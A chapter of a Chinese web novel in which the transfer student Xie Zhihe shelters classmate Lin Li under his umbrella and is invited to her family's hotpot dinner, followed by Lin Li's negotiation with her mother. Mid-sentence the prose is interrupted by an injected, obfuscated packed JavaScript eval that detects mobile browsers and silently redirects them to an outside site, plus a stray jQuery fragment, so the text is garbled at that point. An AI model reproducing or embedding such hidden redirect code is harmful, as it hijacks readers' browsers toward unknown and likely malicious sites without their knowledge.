周末的秀川被一场小雨洗过，空气湿润，树叶青翠。云层低垂，阳光穿透不了厚重的雾气，整座城市像披着一层柔软的纱。
小区里偶尔有孩子追逐打闹的声音传来，远处有风吹动晾衣架上衣角轻摆的窸窣声。
谢知贺坐在家中，落地窗边铺着一块厚毯，他靠在沙发上，膝头摊着一本练习册，手边的黑咖啡还冒着热气。
谢知贺转学来秀川，不是因为家里搬家，而是父母工作的调动。
他父亲是秀川一家大型医疗设备公司的技术总监，母亲是同家公司外派的商务主管。
名义上是调来秀川工作，实际上两人常年飞来飞去，三五天在市里，一转眼又飞去外地，节假日能不能见上一面都难说。
他转学来七中，也并不全是因为父母的调动。
其实他小学、初中都在这座城市跟着爷爷奶奶念的书，后来爷爷去世，奶奶年纪渐大没有精力再带他，他父母就把他带去了江临。
谢知贺在那边的省一中读了两年，本来再坚持一年就能高考，可他父母终究还是不放心，又把他重新带了回来。
在江临一中时，他因为打架被学校点名通报——那次冲突闹得不小，对方家长闹到校领导办公室，他懒得辩解，干脆认了处分。
谢父谢母知道这事后震怒，觉得丢人。他们要走，便顺势把谢知贺一并带来了秀川，直接塞进七中。
按理说，哪个家长不希望孩子读重点高中？可谢家父母不是。
他们比起成绩和教育，更看重面子——丢人，就要处理掉。
再说，他们也不放心让谢知贺一个人留在江临，一中那种地方，一不小心又闹出事，影响的就是他们的体面和口碑。
他们从不听谢知贺的解释。
也不问他为什么动手。
在他们眼里，没有“理由”这种东西，有的只是“后果”——而谢知贺，就是那个不断制造麻烦和后果的“问题儿子”。
谢知贺也早就习惯了。
反正说了也没人信，那不如沉默。
他们把他带回秀川后，最初的计划是全家一起搬来秀川以便“团聚”，但现实却是他们把谢知贺安顿好之后，又匆匆各自奔赴岗位。
“以后你在这读书，我们也好常回来看你。”那是父亲在搬进新家的那天晚上说的。
谢知贺没有拆穿他们。他知道，那句“常回来看你”不过是换了说法的“你就一个人吧”。
他们每月回来两三次，进门一身疲惫地坐下，匆匆吃完一顿外卖，塞给他一张卡或一叠钱，又走了。他已经习惯了，也学会了不抱期待。
对他来说，在哪儿读书没有区别，江临也好，秀川也罢，生活本就不该对谁有期待。他习惯独处，也早就知道，所谓“团聚”，不过是他们自以为的慰藉。
他们从来没明白过，他真正习惯的不是哪一座城市，而是一个人。
刚到秀川那会儿，父母想把他托付给住在秀川市的姑妈——那是他父亲的姐姐，住在林黎家楼上几层。
姑妈性子温和，年轻时是教师出身，可这两年身体不太好，经常住院。谢知贺知道，哪怕姑妈愿意照顾，他也不想把自己变成别人的负担。
“我自己住吧，”他说得平静而理所当然，“我能照顾好自己。”
其实他早就能了。
家里雇了做饭和打扫卫生的阿姨，每天上午会来收拾房间、准备好中饭后离开。下午整栋房子就只剩他一个人。
偶尔天气好些，谢知贺会拉开窗帘，看楼下那排梧桐树，树影斑驳得像被风吹皱的思绪。
谢知贺不太喜欢那种长时间沉默的寂静，所以刷题刷累了，他会打开播放器听歌，也会弹弹钢琴或者抱起那把黑色的木吉他，低头拨动几下弦。
指腹磨出薄茧，音色却干净利落。他偶尔也看电影，偏好老片，镜头克制，剧情沉稳。
谢知贺的生活被规整地切割开来，像时间表上的一行行格子，安静，孤独，却也不凌乱。
他不觉得这有多可怜。只是有时候他也会想，别人家的“回家”意味着什么？会是像电视剧电影里面那样，是热汤，是嘈杂，是门口那句“你回来啦”吗？
他没有这些。可他有题本、有书、有琴有吉他，有窗外落叶的影子。
这些，就已经足够。
午后，天阴得厉害。
谢知贺本来在家写题，姑妈突然打来电话，说快递送错地址，帮她去一趟小区门口的驿站拿一下。
他出门的时候天还没下雨，但带了伞——这几天阴雨天多，他习惯性地把伞带着。
给姑妈送完快递下楼，雨已经哗啦啦地下起来了，初秋的雨又急又凉。
谢知贺走得不快，刚转过小区拐角，就看到便利店门口站着个熟悉的身影。
女孩穿着浅灰色卫衣，细细瘦瘦的，站在屋檐下抬头望天，嘴角微微抿着，一看就是心情不太好。
她手里还拎着个透明塑料袋，里面放着几包火锅底料，一瓶没买成的陈醋，还有一本资料书。
林黎皱着眉站在便利店门口，雨幕几乎封住了整个街角。
她皱眉看着雨帘，手里拎着一袋火锅底料和调料，塑料袋被打湿得透明。
上午林黎去学校附近买习题册，她妈便在路上发微信，说晚上家里吃火锅，让她顺路买点东西回来。
谁知雨说下就下，街边行人迅速稀少，树叶被雨压得垂下，地面反射着水光，一片模糊。
袋子太薄，手又酸，心情也跟着阴沉起来。林黎本来就没什么好心情，这会儿被雨堵在这儿，心情更低压了些。
就在林黎犹豫着要不要冲出去的时候，一道熟悉的声音从身后响起。
“……林黎？”
林黎下意识回头，就看见了撑着黑伞站在雨中的谢知贺。
男生穿着黑色连帽外套，肩膀沾着点雨水，发梢有点湿，被风轻轻撩起。
他眉目冷淡，但嗓音不知为何，比雨声还轻一点，柔一点。
林黎有些诧异：“你怎么在这？你不是不住我们小区吗？”
谢知贺没回答她的问题，只是抬手把伞往她这边倾了倾：“先别说了，走吧，我送你回去。”
她犹豫了一下，还是跟着他走出屋檐。
雨滴啪嗒啪嗒地砸在伞面上，声音密集。他们并肩走在雨中，谢知贺忽然低头看了她手中那几乎被雨水打透的塑料袋。
“要不要我帮你拿？”他说。
林黎立马侧了侧身，把袋子往自己这边拎了拎，露出一个风轻云淡的微笑：“谢了，但我又不是娇娇女，这点重量还扛得住。”
谢知贺没再勉强，只淡淡地“嗯”了一声，手握紧了伞柄朝她那边倾了一些。
伞不大，两人挨得很近。
林黎偏头就能看到他的侧脸，长长的睫毛在雨光下投下一点点影子，薄唇紧抿着，像是在压什么情绪。
雨声环绕在四周，反倒让伞下这方世界显得安静而私密。
走了几步，谢知贺突然低声开口：“那天的奶茶……不是我不要的，是她硬塞的。我没喝，也没想给你。”
林黎愣了一下。
“我只是看你回来了，顺口问你喝不喝。不是送的，更不是挑剩的。”
雨声像是突然弱了一点，她没说话，走了几步才闷声说：“……我知道了。”
谢知贺侧头看她：“你那天很生气。”
“我不是因为你生气，”林黎低着头，声音闷闷的，“是因为她。”
谢知贺没吭声，只是忽然又把伞往她这边倾了倾，左半边肩膀直接被雨打湿。
他手里提着塑料袋，一路都没让她沾到水。林黎察觉到，偏头看了他一眼，随即将他拉过来一点。
这下，两个人的肩膀几乎贴在了一起。
“你傻啊，雨那么大也不靠过来一点。”林黎无语道。
谢知贺扫她一眼，“怕你又生气了。”
林黎眼睛微睁，像是质问，“我是那种随随便便会生气的人吗？”
谢知贺没出声，可那意味深长的眼神却表露了一切。
林黎冷笑一声，没跟他计较。
两人安静了一路，快走到她家楼下时，林黎忽然停住了脚步。
她抬头看他，声音软了些：“晚上我妈做火锅。你要不要上来吃点？”
谢知贺看她一眼。
她想他会拒绝。像他这样看起来什么都不在意的人，应该会礼貌疏离地摇头，说“不了”。
可他却点了点头。
“好啊。”
林黎怔住：“你……真来啊？”
谢知贺勾了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765555|174568||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
勾唇角：“你不是请我的吗？”
雨点啪嗒啪嗒砸在地面，雷声低沉翻滚而过。
林黎垂下眼，嘴角忍不住弯了一点。
“那你别后悔啊。我们家火锅特辣的。”
“我不怕辣。”谢知贺说。
然而笑完林黎才突然察觉到什么，心底一沉。
完了完了，她妈要是知道她突然带了个男生回家吃火锅，恐怕下一秒就要双手拎着两只拖鞋，化身双枪老太婆中年加强版，怒吼着“林黎你皮痒了”，追着她满屋打。
脑中瞬间闪过一连串惨烈画面，她的表情逐渐变得微妙。
“怎么了？”谢知贺发现她神情不对，侧头看了她一眼，声音还是那样低沉温和。
“啊，没、没事。”林黎干笑两声，眼神飘忽。
她清了清嗓子，努力把语气放轻松：“现在还早呢，你……可以七点再来？我们一般六点才准备东西，七点吃饭。你也可以回去休息一下。”
说着，她又赶紧补一句：“不是不让你来啊，就是我妈她……比较有原则。”
谢知贺看着她，有点明白了什么，嘴角悄悄抿出一点笑意。
“好，”他点头，“那我七点再来。”
“……好。”林黎呼出一口气，尴尬地点了点头，看他撑伞转身离开。
雨还在下，密密地打在地面上，汇成小水洼。
谢知贺撑着伞，肩背挺直，背影清瘦孤独，却又莫名有种安静沉稳的气质。
林黎站在原地看了几秒，忽然又懊恼起来。这么大雨，他送她回来，她却把人又赶走了……
“唉……”她抬头望天，心里有点堵。
进了家门，她一边换鞋一边心跳有点乱。
她妈正好从厨房出来，头上扎着发带，手里拿着勺子，正嚷嚷着要把锅底调出来，让她去洗菜。
林黎看着她妈，难得地扬起一个乖巧又讨好的笑容，声音轻得像拂过耳畔的风：“妈，我回来啦，辛苦你啦，火锅香不香呀？”
她妈愣了一下，随即锐利的眼睛盯着林黎：“林黎，你是不是做错事了？”
林黎心虚地咳了一声，心想：果然什么都逃不过她老妈秋玉澜女士的眼睛。
林黎一边洗着手，一边斟酌着语气：“妈，那个……晚上咱家多加一双筷子。”
她妈正低头往锅里倒红油底料，头也不抬地回：“江语星又要来抢牛肉丸？她来你让她带点虾滑，咱家那点不够她造的——”
“不是江语星。”林黎吸了口气，硬着头皮补充，“是个男生。”
“……男生？”她妈的声音顿时拔高八度，“林黎！你一个女孩子突然带个男生来家里吃饭，你是不是疯了？”
林黎忙举手投降：“不是我随便带，是老师让我多照顾照顾他。他是我们班新来的转学生，从江临一中转过来的。你也知道的，省一中那可不好进。”
她妈本来还气鼓鼓的，听到“江临一中”四个字，语气明显缓了下来：“江临一中转过来的？那他成绩很好咯？”
林黎眼睛一亮，赶紧乘胜追击：“嗯嗯，他学习特别好，就是有点闷，平时话也不多，老师怕他适应不了新环境，就让我多带带他……他也挺客气的，而且——”
她顿了顿，刻意加重语气，“而且长得还挺帅的。”
果不其然，她妈动作一停，转过头来盯着她，脸上表情复杂地过渡了一番，从“你是不是早恋”到“哎哟还有小帅哥”的震惊切换。
“帅？”她妈挑眉，“多帅？”
林黎翻了个白眼：“帅就是帅呗，反正比爸年轻时候好看。”
她妈像被戳中了笑点似的，竟然真的笑了出来：“你爸当年除了那张老脸，真没啥优势。你看看你现在的脸，全靠我和你爸基因给你撑着。”
林黎看着她妈的超绝变脸，顿时无语了一把：“……妈，你果真是个看脸的。”
“没办法，谁让你妈是个颜控。”她妈感慨，“不然当初那么多富二代追我，我至于嫁给林百川那个穷酸男人？”
林黎一脸无奈地看着她妈，又忍不住轻笑出声。
她妈，向来刀子嘴豆腐心，说归说，闹归闹，她真的晚上带人回来，也就念叨她几句。
果然是个能被“一中”和“帅哥”轻易拿捏住的颜控中年少女。